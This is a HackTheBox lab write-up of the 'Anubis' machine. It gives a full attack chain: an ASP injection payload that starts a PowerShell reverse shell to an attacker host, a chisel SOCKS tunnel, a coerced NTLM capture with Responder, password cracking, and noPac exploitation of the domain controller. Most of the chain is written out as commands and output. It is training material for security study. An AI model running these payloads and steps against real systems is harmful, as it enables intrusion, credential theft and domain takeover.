Skip to content

Anubis Writeup - HackTheBox

Insane Windows
Mohammad Meraj

Independent Security Researcher

Anubis puts a containerised web tier in front of a real Active Directory domain. The chain runs: a classic ASP preview page that executes submitted content as server side script, SYSTEM inside a Windows container, a SOCKS tunnel onto the container network, an internal software portal that authenticates outbound to any address it is told to, a cracked NetNTLMv2 hash for a domain account, and noPac for SYSTEM on the domain controller.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:135
Open $TARGET_IP:443
Open $TARGET_IP:445
Open $TARGET_IP:593
Open $TARGET_IP:49723
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.
┌──(kali㉿kali)-[~]
└─$ nmap -p135,443,445,593,49723 $TARGET_IP -sCV -T4 -oA nmap/nmap
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
443/tcp   open  ssl/https?
| ssl-cert: Subject: commonName=www.windcorp.htb
| Subject Alternative Name: DNS:www.windcorp.htb
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49723/tcp open  msrpc         Microsoft Windows RPC

Host script results:
|_clock-skew: mean: 16h05m07s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p135,443,445,593,49723 Limit the scan to the ports rustscan already found open.

The certificate names www.windcorp.htb, which goes straight into /etc/hosts. SMB signing is enabled and required, so relay attacks against this host are off the table before spending any time on them. That leaves the site on 443.

Vulnerability Discovery

The preview endpoint

The contact form reflects a script tag back unfiltered, which proves the input is not sanitised but does little on its own against a host with no one browsing it. The interesting part is where that input goes: the message preview is rendered by preview.asp.

Classic ASP executes anything between <% %> as server side VBScript at request time. A dedicated .asp page for previewing user content, combined with input that is provably unfiltered, suggests the submitted text is written somewhere that gets parsed rather than displayed. WScript.Shell is the classic ASP way to start a process, so the payload tests both at once.

Exploitation

Code execution through the preview

<%
Set oShell = Server.CreateObject("WScript.Shell")
oShell.Run "powershell -e <base64-encoded-payload>"
%>

The Base64 blob is a PowerShell reverse shell pointed at the listener.

┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49929

EVIL > whoami
nt authority\system
Explain command
rlwrap Wrap the listener so the caught shell gets line editing and history.
-lvnp $ATTACKER_PORT Listen verbosely on the callback port without resolving names.

SYSTEM on the first shot. The user list explains why that means less than it looks.

Post-Exploitation

This is a container

PS C:\Users\Guest\Desktop> dir C:\Users
d-----         4/9/2021  10:36 PM                Administrator
d-----        5/25/2021  12:05 PM                ContainerAdministrator
d-----         4/9/2021  10:37 PM                ContainerUser
d-r---         4/9/2021  10:36 PM                Public

ContainerAdministrator and ContainerUser do not exist on a normal Windows install, so this web tier runs inside a Windows container. SYSTEM here is SYSTEM inside that container and nothing more. The Administrator desktop holds a certificate signing request worth reading.

┌──(kali㉿kali)-[~]
└─$ openssl req -in req.txt -text -noout
Subject: C=AU, ST=Some-State, O=WindCorp, CN=softwareportal.windcorp.htb
Public-Key: (2048 bit)
Explain command
-in req.txt Parse the recovered CSR.
-text -noout Print the decoded fields without re-emitting the request.

A second internal hostname, softwareportal.windcorp.htb, and evidence the domain runs its own certificate authority. Neither is reachable from outside yet.

The network behind the container

PS C:\Users\Guest\Desktop> ipconfig
Ethernet adapter vEthernet (Ethernet):
   IPv4 Address. . . . . . . . . . . : $CONTAINER_IP
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . : $DC_IP

The container sits on its own private network, and the gateway is the natural candidate for the machine hosting it. Reaching that network from Kali needs a tunnel, and chisel in reverse mode works because the container can already dial out, which the reverse shell proved.

Lateral Movement

SOCKS tunnel

┌──(kali㉿kali)-[~]
└─$ chisel server -p 8000 --reverse
server: Reverse tunnelling enabled
server: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Explain command
-p 8000 Port the client connects back to.
--reverse Allow the client to request a listener on the server side.
PS C:\Users\Guest\Desktop> C:\Programdata\chisel.exe client $ATTACKER_IP:8000 R:socks
Explain command
R:socks Ask the server to open a SOCKS proxy that exits through this client.

That gives a SOCKS5 proxy on 127.0.0.1:1080 which proxychains4 can push tools through.

┌──(kali㉿kali)-[~]
└─$ proxychains4 nmap -p80,88,389,445 -sT $DC_IP
PORT    STATE SERVICE
80/tcp  open  http
88/tcp  open  kerberos-sec
389/tcp open  ldap
445/tcp open  microsoft-ds
Explain command
-sT Full TCP connect scan, which is the only type that works through a SOCKS proxy.

Kerberos and LDAP next to SMB means the gateway is a domain controller, not a router. The software portal from the CSR is also reachable now.

The software portal

┌──(kali㉿kali)-[~]
└─$ proxychains4 -q curl http://softwareportal.windcorp.htb/
<a href="install.asp?client=$CONTAINER_IP&software=7z1900-x64.exe">7-Zip</a>
<a href="install.asp?client=$CONTAINER_IP&software=VNC-Viewer-6.20.529-Windows.exe">VNC Viewer</a>
The fact that you are not local administrator anymore, will not be a hinder for you getting the software you need installed!

The portal installs software on behalf of a client machine, and the client is whatever the query string says. To push an installer it has to authenticate to that machine, which means pointing client at a listener under our control turns the portal into a coerced authentication primitive. The address has to be the real attacker address, not the tunnel side, because the portal dials out itself.

Catching the authentication

┌──(kali㉿kali)-[~]
└─$ proxychains4 -q curl 'http://softwareportal.windcorp.htb/install.asp?client=$ATTACKER_IP&software=VNC-Viewer-6.20.529-Windows.exe'
<center><h1>Starting installation of VNC-Viewer-6.20.529-Windows.exe<br>
┌──(kali㉿kali)-[~]
└─$ responder -I tun0
[WinRM] NTLMv2 Client   : $TARGET_IP
[WinRM] NTLMv2 Username : windcorp\localadmin
[WinRM] NTLMv2 Hash     : localadmin::windcorp:$LOCALADMINS_NTLMV2_HASH
Explain command
-I tun0 Interface the coerced authentication arrives on.

The install logic authenticates over WinRM as a named domain account. NetNTLMv2 cannot be replayed here because signing is required, but it can be cracked.

┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
$LOCALADMINS_PASSWORD        (localadmin)
Explain command
--wordlist=/usr/share/wordlists/rockyou.txt Dictionary to try against the captured hash.

Privilege Escalation

Domain access

┌──(kali㉿kali)-[~]
└─$ proxychains4 nxc smb $DC_IP -d windcorp.htb -u localadmin -p '$LOCALADMINS_PASSWORD' --shares
SMB    $DC_IP    445    EARTH    [*] Windows 10 / Server 2019 Build 17763 x64 (name:EARTH) (domain:windcorp.htb)
SMB    $DC_IP    445    EARTH    [+] windcorp.htb\localadmin:$LOCALADMINS_PASSWORD
SMB    $DC_IP    445    EARTH    Share           Permissions     Remark
SMB    $DC_IP    445    EARTH    CertEnroll      READ            Active Directory Certificate Services share
SMB    $DC_IP    445    EARTH    Shared          READ,WRITE
Explain command
--shares List shares and the permissions this account has on them.

The credentials are valid on the domain and the controller is called EARTH. CertEnroll confirms the certificate services hinted at by the CSR, but an ordinary domain user is enough for noPac, which is the shorter route.

noPac combines CVE-2021-42278 and CVE-2021-42287. Any authenticated user may create computer accounts up to ms-DS-MachineAccountQuota, ten by default, and the KDC failed to validate a sAMAccountName renamed to match the domain controller. A ticket requested under that name is then treated as the controller's own, which S4U2Self turns into a ticket for any account.

┌──(kali㉿kali)-[~]
└─$ proxychains4 nxc smb $DC_IP -d windcorp.htb -u localadmin -p '$LOCALADMINS_PASSWORD' -M nopac
NOPAC       $DC_IP    445    EARTH    TGT with PAC size 1480
NOPAC       $DC_IP    445    EARTH    TGT without PAC size 715
NOPAC       $DC_IP    445    EARTH    VULNERABLE
Explain command
-M nopac Run the module that compares ticket sizes with and without a PAC.

A smaller ticket for the request without a PAC means the KDC is issuing them, so the host is unpatched.

Impersonating Administrator

┌──(kali㉿kali)-[~]
└─$ proxychains4 python3 noPac.py windcorp.htb/localadmin:'$LOCALADMINS_PASSWORD' -dc-ip $DC_IP -dc-host EARTH -shell --impersonate administrator
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "WIN-QMSFTP046A3$"
[*] WIN-QMSFTP046A3$ sAMAccountName == EARTH
[*] Saving a DC's ticket in EARTH.ccache
[*] Impersonating administrator
[*]     Requesting S4U2self
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
Explain command
-dc-host EARTH Name the tool renames the new computer account to.
--impersonate administrator Account to request a service ticket for through S4U2Self.
-shell Open a semi-interactive shell with the resulting ticket.

SYSTEM on EARTH, the domain controller behind the container. Both the web tier and the domain are covered.

References